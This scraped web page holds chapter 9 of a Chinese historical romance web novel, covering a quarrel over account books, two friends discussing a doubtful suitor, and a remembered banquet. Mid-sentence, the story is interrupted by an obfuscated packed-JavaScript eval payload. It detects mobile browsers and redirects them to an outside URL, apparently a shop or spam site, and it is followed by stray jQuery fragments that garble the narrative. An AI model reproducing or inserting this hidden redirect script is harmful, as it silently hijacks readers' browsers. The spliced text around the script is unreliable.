默认冷灰
24号文字
方正启体

9. 第 9 章

作者:南楼载酒本书字数:K更新时间:
    轻飘飘的两个字,却如千钧砸下。


    一股委屈和愤怒涌上李亭鸢心头。


    自己熬了三日三夜,所换来的不过是他“重算”两个字。


    而自己所求的,他口中的“容易”之事,却被他拿来当做筹码一般……刁难她。


    她甚至觉得,他有可能不是刁难,而是刻意的愚弄。


    李亭鸢倏然抬头瞪着他,眼底不受控制涌上来的泪令她眼中他的神情模糊不清。


    但她料定他一定是面无表情的,或者是傲慢冷清的。


    她咬了咬牙,“世……”


    “倘若连这点委屈都受不得,你以为离了崔府,你能做什么?”


    李亭鸢的声音卡在喉咙里,瞪着他的不忿慢慢变成了惊愕。


    不知过了多久,她忽然反应过来他话中的意思,一股滚烫的赧意悄无声息地爬上了脸颊。


    思绪如浪翻涌。


    是啊,他不过是让自己重算账目。


    而她与他所约定的,确实是“算得不出差错”,他答应她一件事。


    如今是她自己的失误所致,她又凭何如此不忿?


    冷静下来的李亭鸢面上的滚烫渐渐退了下去。


    她感觉到他一直在盯着她看。


    她走上前将他放在桌上的账册和账册上的匕首一起拿起,敛眸,郑重道:


    “多谢世子今日赐教,匕首既是世子所赠,亭鸢却之不恭,至于这本账册,两日后重新奉上,倘若再有失误,今后我再不提让世子为我弟弟牵线搭桥一事。”


    崔琢已经拿起桌案上的文书在看,闻言漫不经心地掀起眼帘扫了她一眼,手底下翻了一页。


    “去吧。”


    -


    李亭鸢回到清宁苑的时候,就看到崔月瑶在门口等她。


    她哼了声,抱着账本绕过她就往回走。


    崔月瑶紧跟两步,拉着她的衣角,默不作声地跟着她。


    快要进屋的时候,李亭鸢突然停下脚步,一把拍开她的手,“我要回房间了,你还跟着做什么?今儿天色这么早,崔大小姐的课业就做完了?”


    崔月瑶一听她这么说,一下就扑了过去,一把抱住她的腰,撒娇道:


    “哎呀好姐姐,我错了还不行吗?!我那天不该丢下你一个人跑了,我只是……只是……”


    崔月瑶扭着屁股在她怀里蹭了蹭,“我就是觉得跟她说话有种奇怪的感觉,不喜欢她……”


    李亭鸢被她蹭到了腰上的痒痒肉,故意绷起的唇角上扬,没忍住笑出了声:


    “崔月瑶!你就不能不碰我的腰!”


    听见她笑,崔月瑶长舒一口气,可怜兮兮将手背伸到她面前:


    “瞧瞧,我这么白嫩白嫩的,你怎么下得去手,都拍红了。”


    李亭鸢抿着唇忍俊不禁,对她勾了勾手指头。


    崔月瑶满眼好奇地凑过去,就听李亭鸢在她耳畔轻笑:


    “那快进来让我瞧瞧,有多白嫩。”


    崔月瑶哇了一声,又故意去挠她:


    “好哇李亭鸢!没看出来你竟是个黄心的!”


    两个人笑闹着进了屋,崔月瑶坐在一旁剥了颗橙子。


    甜爽的清香刹那间在房间里爆开。


    崔月瑶往盘子里放了半颗剥好的,另外剥下来一瓣塞进嘴里,瞅着李亭鸢在书案前又是研磨又是铺纸的样子,口齿不清道:


    “你最近几日怎么了?上次就见你一直在算账。”


    李亭鸢瞪了她一眼,“你以为谁都跟你崔大小姐一样每日就逛逛街听听小曲儿,一辈子不愁吃穿的。”


    崔月瑶一听,把手中的橙子往口中一扔,啧道:


    “你现在还不是一样,以后在崔府,难道还能短了你的吃穿不成?”


    李亭鸢蘸墨的手一顿。


    见她没说话,崔月瑶拍拍手,接过芸香递来的湿帕子一边擦手一边问:


    “对了,明日我约了蒋徐安去踏青,你去么?”


    李亭鸢闻言抬头,“你还与他联系呢?”


    蒋徐安是槐州当年乡试的亚元,临近会试进京途中遭遇了匪贼的劫掠,匪贼抢走了他的所有行李,将奄奄一息的蒋徐安丢在了路边。


    恰巧那日崔月瑶从外祖家回京,就偷偷救下了他。


    后来两人相处之下,日久生情。


    那蒋徐安断了一条腿,身有残疾,自知科考无望,干脆便在京城外同安县的清晖书院当起了教书先生。


    当初崔月瑶没少拿李亭鸢当幌子,偷着去见蒋徐安。


    李亭鸢也跟着见过那个蒋徐安几次,但不知为何,她总对那人生不起好感。


    李亭鸢曾私下里劝过崔月瑶同那人断了往来,毕竟门不当户不对,崔家定是不会同意这门亲事,就连蒋徐安自己也曾说过配不上她要断了这段关系。


    但崔月瑶不知为何就像是被人下了迷魂汤一般,死活不愿意。


    崔月瑶搬了椅子来帮李亭鸢研磨,语气低落:


    “我打算……打算再好好与他相处一段时间,就同他彻底断了。”


    李亭鸢握住她的手:


    “我知你与他这么多年的感情,若是断了必定如剖心挖肝般,倘若你真舍不得……不如叫世子去帮你掌掌眼。”


    “我哥见过他了。”


    李亭鸢一顿,“世子怎么说?”


    崔月瑶眼眸轻垂,睫毛上很快染了一层水色:


    “我哥同你说的一样,‘此人绝非良善之辈’,让我长痛不如短痛,趁早断了,可我……可我就是觉得徐安他人很好啊……”


    说到最后,崔月瑶的声音里都带了哭腔。


    李亭鸢心疼得一把抱住她,“明日你去见他,我陪你一起去。”


    崔月瑶在她怀里点了点头。


    过了许久,她平静下来,接过李亭鸢递来的帕子擦了擦眼角,问道:


    “对了,那晚我走后,你都同柳梦鸢聊了什么啊?你才刚进府,她就来了,她还真是把自己当这府中的女主人了。”


    李亭鸢拿起笔蘸了墨,“没说什么,随便聊了两句。”


    “也是,你俩又不认识,能说什么?”崔月瑶点头。


    李亭鸢有些心烦意乱,盯着账册看了好久也没算出一个数。


    她干脆把笔一搁,看着崔月瑶,“你能给我讲讲她么?”


    “她呀,有什么好讲的,也不知何时就悄悄搭上了我哥,要不是我娘那日无意间发现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153398|196470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我哥房里的那枚帕子,哥哥才承认是柳梦鸢,我们这些人都还蒙在鼓里呢。”


    崔琢亲口承认的?


    他将柳梦鸢视若珍宝,藏得如此之深,都不肯让自己的母亲知晓一二。


    李亭鸢忽然想到方才在书房,崔琢猝不及防问的那句话。


    他问她,柳梦鸢是不是去找她了。


    难不成他是觉得她会难为她?还是觉得柳梦鸢那样娇娇弱弱的姑娘在她这里会吃亏?


    李亭鸢的唇轻轻抿了起来,“那看来崔府好事将近了。”


    崔月瑶奇怪地看了她一眼,总觉得她这话语气不对。


    不过还不待她多想,丫鬟进来禀告,说是夫人找她过去。


    崔月瑶同李亭鸢道了别,李亭鸢盯着眼前洒在桌案上的阳光看了会儿,重新拿起账本,一字一句仔细看过去。


    初春乍暖还寒,夜里的时候下起了小雨。


    淅淅沥沥的雨声拍打着屋顶黛瓦,雨珠顺着房檐滚落。


    李亭鸢坐在窗下的软榻上,将窗子推开。


    潮湿的冷风夹杂着丝丝细雨扑面而来。


    她深吸了一口清冷的空气,目光落在远处抽着嫩芽的树枝上,思绪不自觉回到了三年前那场盛夏的宴会上。


    那日是静姝公主举办的赏荷宴。


    说是赏荷宴,实则明眼人都看得出来,是崔琢南下半年刚回京公主借机为他举办的接风宴。


    毕竟全京城无人不知静姝公主对崔琢的爱慕。


    李亭鸢本没资格参加这样的宴会,只是恰好在那一日她去了崔府,崔月瑶便邀她一起前去赴宴。


    李亭鸢想起崔琢,呼之欲出的拒绝被咽了下去,终是无法拒绝心底见他一眼的渴望,在崔月瑶期待的眼神中点了点头。


    那是她第一次参加如此盛大的宴会,不免拘谨又兴奋。


    她同崔月瑶分享着一道点心,忽然席间安静了下来。


    她一抬头,便看到了那个姗姗来迟的男人。


    崔琢被一群人簇拥着不紧不慢地穿过月洞门,他一身月白色锦袍,霜襟雪骨,清冷如谪仙。


    他许是看到了崔月瑶,越过一群人径直朝她二人走来。


    李亭鸢原本以为半年不见,自己心底那份不为人知的悸动早已消散。


    然而再次看到他,看到他在在场所有人的目光中一点一点朝她走来,心跳还是不可抑制地快了起来。


    尽管他只是淡淡看了她一眼,便同自己妹妹说起了话。


    李亭鸢在一旁垂着眸,手心都沁出了薄汗,耳畔除了自己激烈的心跳声,便只剩下了崔琢如玉石般的说话声。


    后来宴至三巡,崔琢便离了席。


    李亭鸢被崔月瑶带着多饮了两杯酒,有些不胜酒力去偏房休息。


    然而她才刚一进去便察觉到了不对。


    ——那屋中的气味太过浓烈,而内室的床边,似乎靠坐着一个男人。


    李亭鸢吓了一跳,才要离开,忽然定睛一看,小心翼翼试探道:


    “世子?”


    里面男人的呼吸很重,李亭鸢站在门口的位置挣扎了很久,才让自己一点一点靠近过去。


    当她刚一绕过屏风,便不由地怔住了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)